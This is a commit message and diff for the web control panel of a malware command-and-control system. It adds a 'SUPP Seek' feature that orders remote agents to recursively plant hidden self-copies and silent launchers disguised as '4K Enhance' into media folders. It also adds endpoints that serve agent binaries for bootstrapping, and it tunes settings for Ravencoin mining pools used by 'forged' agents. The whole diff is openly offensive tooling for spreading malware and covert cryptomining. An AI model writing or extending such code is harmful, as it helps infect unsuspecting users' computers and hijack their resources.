feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.

server/web/src/pages/CruciblePage.tsx

@@ -306,6 +306,12 @@ export default function CruciblePage() {
   const [cmdHistory, setCmdHistory] = useState<string[]>([]);
   const [histIdx, setHistIdx] = useState(-1);
 
+  // SUPP Seek Mode
+  const [seekPath, setSeekPath] = useState('');
+  const [seekStem, setSeekStem] = useState('4K Enhance');
+  const [seekWin, setSeekWin] = useState(true);
+  const [seekMac, setSeekMac] = useState(true);
+
   // SSH / posture overrides (from on-demand probes)
   const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
   const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
@@ -576,6 +582,39 @@ export default function CruciblePage() {
     }
   };
 
+  // SUPP Seek — launch recursive batch file-seeding on selected agents.
+  const launchSeek = () => {
+    const tgts = selectedAgents.filter(online);
+    if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; }
+    if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; }
+    const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
+    for (const a of tgts) {
+      api.sendAgentCommand(a.id, 'supp_seek', {
+        path: seekPath.trim(),
+        command: flag,
+        data: seekStem.trim() || '4K Enhance',
+      }).catch((err) => {
+        setTermLines((prev) => [
+          ...prev,
+          {
+            id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
+            text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`,
+            ts: new Date(), success: false, targeted: true,
+          },
+        ]);
+      });
+    }
+    setTermLines((prev) => [
+      ...prev,
+      {
+        id: mkId(), agentId: 'local', agentName: 'YOU',
+        isCmd: true,
+        text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`,
+        ts: new Date(),
+      },
+    ]);
+  };
+
   // Focused agent — when exactly one is selected show its details prominently.
   const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
 
@@ -1096,6 +1135,80 @@ export default function CruciblePage() {
               </button>
             </div>
 
+            {/* ── SUPP Seek Mode ───────────────────────────── */}
+            <div className="crucible-op-group crucible-seek-group">
+              <span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
+                ◈ SUPP SEEK MODE
+              </span>
+              <p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
+                Recursively seeds every media directory under the given path with
+                silent launcher files. The agent copies itself as a hidden exe (Windows)
+                or drops a shell bootstrap (Mac/Linux) in each folder containing a movie.
+              </p>
+              <label className="seek-field-label">Root Path</label>
+              <input
+                type="text"
+                className="seek-path-input"
+                placeholder={`e.g. D:\\ or /Volumes/Movies`}
+                value={seekPath}
+                onChange={(e) => setSeekPath(e.target.value)}
+                style={{
+                  width: '100%', padding: '0.35rem 0.6rem',
+                  background: '#0d0d1a', border: '1px solid #333',
+                  color: 'var(--neon-cyan)', borderRadius: 4,
+                  fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
+                  marginBottom: '0.4rem', boxSizing: 'border-box',
+                }}
+              />
+              <label className="seek-field-label">Launcher Stem (file name)</label>
+              <input
+                type="text"
+                className="seek-path-input"
+                placeholder="4K Enhance"
+                value={seekStem}
+                onChange={(e) => setSeekStem(e.target.value)}
+                style={{
+                  width: '100%', padding: '0.35rem 0.6rem',
+                  background: '#0d0d1a', border: '1px solid #333',
+                  color: '#ddd', borderRadius: 4,
+                  fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
+                  marginBottom: '0.5rem', boxSizing: 'border-box',
+                }}
+              />
+              <div style={{ display: 'flex', gap: '1rem', marginBottom: '0.6rem', fontSize: '0.8rem' }}>
+                <label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
+                  <input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
+                  <span style={{ color: '#61dafb' }}>⊞ Windows</span>
+                  <span style={{ color: '#555', fontSize: '0.7rem' }}>.bat + .exe</span>
+                </label>
+                <label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
+                  <input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
+                  <span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
+                  <span style={{ color: '#555', fontSize: '0.7rem' }}>.command</span>
+                </label>
+              </div>
+              <button
+                className="button crucible-op-btn"
+                disabled={selectedIds.size === 0 || (!seekWin && !seekMac)}
+                onClick={launchSeek}
+                title={selectedIds.size === 0
+                  ? 'Select at least one agent to seed from'
+                  : `Launch SUPP Seek on ${selectedIds.size} agent(s) — scans ${seekPath || '<path>'}`}
+                style={{
+                  background: 'linear-gradient(135deg, #ff8c00 0%, #ff4500 100%)',
+                  border: 'none', color: '#fff', fontWeight: 700,
+                  letterSpacing: '0.08em',
+                }}
+              >
+                ◈ LAUNCH SEEK ({selectedIds.size} node{selectedIds.size !== 1 ? 's' : ''})
+              </button>
+              <p style={{ margin: '0.4rem 0 0', fontSize: '0.68rem', color: '#666' }}>
+                Results appear in the terminal below. Each seeded dir drops:<br />
+                {seekWin && <><strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.bat</strong> + <strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.exe</strong>{seekMac ? '  &  ' : ''}</>}
+                {seekMac && <strong style={{ color: '#a8ff78' }}>{seekStem || '4K Enhance'}.command</strong>}
+              </p>
+            </div>
+
             {/* ── Shell type ───────────────────────────────── */}
             <div className="crucible-op-group">
               <span className="cop-label">Shell Mode</span>

server/web/src/pages/SettingsPage.tsx

@@ -441,7 +441,7 @@ export default function SettingsPage() {
           </div>
         </NeonCard>
 
-        <NeonCard accent="orange" className="settings-section">
+        <NeonCard accent="amber" className="settings-section">
           <h2 className="font-display">Ravencoin (GPU) Pool</h2>
           <p className="section-desc">
             Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
@@ -469,7 +469,7 @@ export default function SettingsPage() {
               updateField('rvn_pool.host', fields.rvn_pool_host);
               updateField('rvn_pool.port', fields.rvn_pool_port);
               updateField('rvn_pool.use_tls', fields.rvn_pool_tls);
-              updateField('rvn_pool.password', fields.rvn_pool_pass ?? 'x');
+              updateField('rvn_pool.password', config.rvn_pool?.password ?? 'x');
               updateField('rvn_pool.backup_pools',
                 (fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
                   host: bp.host, port: bp.port, use_tls: bp.tls,
@@ -490,7 +490,6 @@ export default function SettingsPage() {
                 updateField('rvn_pool.host', f.rvn_pool_host);
                 updateField('rvn_pool.port', f.rvn_pool_port);
                 updateField('rvn_pool.use_tls', f.rvn_pool_tls);
-                updateField('rvn_pool.password', f.rvn_pool_pass ?? 'x');
                 updateField('rvn_pool.backup_pools',
                   (f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
                     host: bp.host, port: bp.port, use_tls: bp.tls,